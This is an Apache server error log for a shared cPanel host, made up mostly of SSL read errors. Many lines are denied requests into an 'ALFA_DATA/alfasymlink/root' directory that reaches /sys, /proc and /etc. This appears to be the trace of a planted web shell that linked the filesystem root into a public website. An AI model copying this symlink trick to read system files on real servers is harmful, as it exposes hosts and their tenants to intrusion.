[Sun Oct 25 09:24:46.223349 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.25.120.246:22066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:25:06.217606 2026] [ssl:error] [pid 2826774:tid 2826774] (95)Operation not supported: [client 98.83.178.66:61709] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:25:10.710378 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 185.191.171.5:41152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/align
[Sun Oct 25 09:25:22.153983 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 3.89.176.255:1597] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:25:26.214515 2026] [ssl:error] [pid 2834019:tid 2834019] (22)Invalid argument: [client 44.220.2.97:52397] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:25:38.370831 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.94.156.104:31566] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:25:46.130545 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.206.249.188:62849] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:25:50.131052 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 3.94.156.104:3667] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0501:00/subsystem/drivers/ac/bind
[Sun Oct 25 09:25:50.131586 2026] [security2:error] [pid 2834006:tid 2834006] [client 3.94.156.104:3667] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0501:00/subsystem/drivers/ac/bind"] [unique_id "at4DXhD7bhykmI5PXOwDRgAAAAo"]
[Sun Oct 25 09:25:50.131652 2026] [security2:error] [pid 2834006:tid 2834006] [client 3.94.156.104:3667] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0501:00/subsystem/drivers/ac/bind"] [unique_id "at4DXhD7bhykmI5PXOwDRgAAAAo"]
[Sun Oct 25 09:25:54.162209 2026] [ssl:error] [pid 2834008:tid 2834008] (5)Input/output error: [client 23.23.212.212:57320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:26:14.142088 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 34.226.89.140:16452] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:26:22.153533 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.225.138.57:25281] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:26:34.250498 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 34.192.67.98:16359] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty63/subsystem/ttyS1/io_type
[Sun Oct 25 09:26:38.133945 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 3.213.85.234:62194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_piix/module/uevent
[Sun Oct 25 09:27:18.252487 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 18.233.24.238:43449] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/remove
[Sun Oct 25 09:27:22.147381 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 54.87.62.248:51531] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:27:34.194525 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 35.168.238.50:34008] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:27:50.442644 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 34.239.197.197:35515] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:27:54.127136 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 44.209.35.147:6707] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:28:06.218770 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.9:62814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/poison
[Sun Oct 25 09:28:08.210226 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 185.191.171.5:56260] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/min_partial
[Sun Oct 25 09:28:18.245386 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 18.210.58.238:49237] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:28:26.180035 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.208.156.9:48427] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:28:30.211809 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.223.181.32:1259] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:28:50.313645 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.197.178.107:54966] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:28:54.240430 2026] [security2:error] [pid 2834025:tid 2834025] [client 54.210.155.69:64322] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/device:05/power/"] [unique_id "at4EFqGxe7V6jzF5H8VMjQAAABg"]
[Sun Oct 25 09:28:54.240466 2026] [security2:error] [pid 2834025:tid 2834025] [client 54.210.155.69:64322] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/device:05/power/"] [unique_id "at4EFqGxe7V6jzF5H8VMjQAAABg"]
[Sun Oct 25 09:29:06.146445 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.3.104.214:32815] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:29:10.218466 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 3.210.114.189:16243] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/ttyS1/io_type
[Sun Oct 25 09:29:10.219031 2026] [security2:error] [pid 2806348:tid 2806348] [client 3.210.114.189:16243] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/ttyS1/io_type"] [unique_id "at4EJg-YVEbWS5meiuhkjwAAAAw"]
[Sun Oct 25 09:29:10.219060 2026] [security2:error] [pid 2806348:tid 2806348] [client 3.210.114.189:16243] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/ttyS1/io_type"] [unique_id "at4EJg-YVEbWS5meiuhkjwAAAAw"]
[Sun Oct 25 09:29:14.238457 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.197.76.210:7059] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:29:18.134658 2026] [ssl:error] [pid 2834006:tid 2834006] (22)Invalid argument: [client 98.82.40.168:60745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:29:22.179508 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 52.2.83.227:17966] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:29:33.670384 2026] [core:crit] [pid 2815605:tid 2815605] (13)Permission denied: [client 51.210.112.19:21090] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 09:29:33.824472 2026] [core:crit] [pid 2815602:tid 2815602] (13)Permission denied: [client 51.210.112.19:21092] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 09:29:34.198735 2026] [core:crit] [pid 2821699:tid 2821699] (13)Permission denied: [client 51.210.112.19:21108] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 09:29:34.807393 2026] [core:crit] [pid 2834006:tid 2834006] (13)Permission denied: [client 51.210.112.19:21124] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 09:29:35.578324 2026] [core:crit] [pid 2834008:tid 2834008] (13)Permission denied: [client 51.210.112.19:55000] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 09:29:42.130810 2026] [ssl:error] [pid 2826774:tid 2826774] (5)Input/output error: [client 34.231.77.232:36049] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:29:46.267956 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.88.84.219:36415] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:29:58.332290 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.1.157.90:5141] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:30:02.161649 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 34.205.163.103:65430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:30:10.152285 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.212.86.97:49496] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:30:18.163138 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 3.226.106.93:15551] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:30:22.287015 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 3.215.59.93:49096] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:30:34.177369 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 52.23.112.144:60349] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/iomem_reg_shift
[Sun Oct 25 09:30:42.188781 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 3.219.81.66:52188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/ttyS1/xmit_fifo_size
[Sun Oct 25 09:31:02.219561 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 34.234.197.175:17692] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:31:06.212292 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.157.84.74:8995] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:31:14.146176 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 107.20.25.33:36408] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:31:30.210485 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.235.215.92:51047] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:31:38.136310 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.54.15.103:31639] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:31:43.955964 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 185.191.171.18:40148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/sanity_checks
[Sun Oct 25 09:31:44.235005 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 144.76.19.24:43828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/stack
[Sun Oct 25 09:31:46.163964 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 98.82.38.120:40856] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:31:54.158009 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 34.205.170.13:43169] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:31:58.193339 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 23.23.180.225:24994] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:32:02.190408 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 34.225.87.80:25329] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:32:06.139065 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 52.45.194.165:14176] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/alarmtimer/unbind
[Sun Oct 25 09:32:18.150459 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 98.84.131.195:37920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ohci-pci/new_id
[Sun Oct 25 09:32:30.298877 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 100.29.160.53:51230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/input1/device/firmware_node/physical_node1/drvctl
[Sun Oct 25 09:32:34.185002 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.225.45.252:40739] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:32:38.144094 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 54.204.62.163:6285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:32:42.158738 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.3.155.146:34064] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:32:50.140941 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.224.215.150:21729] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:32:58.162195 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 98.82.59.253:59054] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:33:05.803146 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 85.208.96.200:47968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/ctor
[Sun Oct 25 09:33:06.154489 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.217.82.254:15682] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:33:10.171166 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.94.156.104:17195] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:33:22.154102 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.204.37.237:29699] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:33:26.232849 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.216.86.144:25224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:33:30.168249 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 18.213.102.186:59847] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:06/physical_node/resource0
[Sun Oct 25 09:33:34.137255 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 54.83.180.239:31698] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:33:38.133733 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 54.159.98.248:41406] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:33:42.381508 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.203.237.170:25814] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:33:53.232775 2026] [authz_core:error] [pid 2815605:tid 2815605] [client 130.12.180.168:51840] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 09:33:54.168873 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.201.155.215:20770] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:33:58.188504 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 50.19.102.70:31971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:34:02.334517 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 3.224.205.25:16184] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:34:06.156433 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 52.70.123.241:48256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/input/input0/subsystem/input4/device/driver/module/drivers/serio:psmouse/uevent
[Sun Oct 25 09:34:07.364666 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 85.208.96.198:29966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-max/align
[Sun Oct 25 09:34:10.201335 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 34.235.239.240:27278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/bind
[Sun Oct 25 09:34:14.262268 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.224.104.67:26750] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:34:22.218756 2026] [ssl:error] [pid 2821699:tid 2821699] (5)Input/output error: [client 52.0.218.219:42772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:34:26.224563 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 52.0.41.164:39885] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/device:1c/eject
[Sun Oct 25 09:34:34.153878 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 44.215.235.20:6089] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:34:38.162971 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 18.214.186.220:13016] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:34:42.222377 2026] [ssl:error] [pid 2806348:tid 2806348] (22)Invalid argument: [client 3.224.104.67:63319] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:34:46.177764 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 54.83.240.58:58711] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/drivers/ac/uevent
[Sun Oct 25 09:34:50.192810 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.213.85.234:31750] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:34:58.149810 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.206.212.24:53940] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:35:06.136998 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.233.219.155:10758] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:35:18.128908 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.89.90.224:30471] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:35:32.644923 2026] [security2:error] [pid 2806348:tid 2806348] [client 185.191.171.11:61942] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.12/turtledemo/__pycache__/planet_and_moon.cpython-312.pyc"] [unique_id "at4FpA-YVEbWS5meiuhkngAAAAw"]
[Sun Oct 25 09:35:32.644978 2026] [security2:error] [pid 2806348:tid 2806348] [client 185.191.171.11:61942] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.12/turtledemo/__pycache__/planet_and_moon.cpython-312.pyc"] [unique_id "at4FpA-YVEbWS5meiuhkngAAAAw"]
[Sun Oct 25 09:35:38.173013 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.205.163.103:35177] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:35:42.142989 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 35.169.119.108:24509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:35:50.132670 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 34.197.28.78:29264] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:36:02.344384 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 184.72.95.195:32399] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:36:10.260155 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 23.23.103.31:34708] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:36:10.537455 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 85.208.96.202:35412] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/total_objects
[Sun Oct 25 09:36:18.266147 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 54.156.124.2:32816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory23/node0/compact
[Sun Oct 25 09:36:26.157553 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 18.215.49.176:7660] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:36:30.150449 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 18.213.102.186:1633] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:36:34.149244 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 107.20.181.148:24015] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:36:38.246810 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 54.145.82.217:63109] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/vesa-framebuffer/bind
[Sun Oct 25 09:36:48.809702 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 85.208.96.207:11382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/partial
[Sun Oct 25 09:36:54.160268 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 107.22.208.39:14687] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:36:58.150121 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 100.29.128.75:14862] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:36:58.150315 2026] [security2:error] [pid 2834020:tid 2834020] [client 100.29.128.75:14862] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory5/valid_zones"] [unique_id "at4F-hus_mjnPB8X3pG9uQAAABI"]
[Sun Oct 25 09:36:58.150344 2026] [security2:error] [pid 2834020:tid 2834020] [client 100.29.128.75:14862] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory5/valid_zones"] [unique_id "at4F-hus_mjnPB8X3pG9uQAAABI"]
[Sun Oct 25 09:37:02.136191 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 35.169.102.85:53158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:37:18.130767 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 18.213.102.186:13156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:37:26.142637 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 3.213.213.161:65372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS2/uartclk
[Sun Oct 25 09:37:34.124803 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 50.16.72.185:21212] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:37:38.177759 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.4.229.9:5976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:37:46.350664 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 52.54.249.218:27037] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/memory0/subsystem/drivers_probe
[Sun Oct 25 09:37:50.225721 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.204.253.129:53790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:37:58.331523 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 44.221.105.234:35466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/bind
[Sun Oct 25 09:38:01.817392 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 185.191.171.13:30084] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/manualmx
[Sun Oct 25 09:38:06.151977 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.3.104.214:28487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:38:06.279741 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 85.208.96.206:23606] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bdev_cache/alloc_calls
[Sun Oct 25 09:38:10.151308 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.44.229.124:9701] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:38:14.148450 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 98.83.177.42:45549] AH02013: coalesce failed to read from data bucket
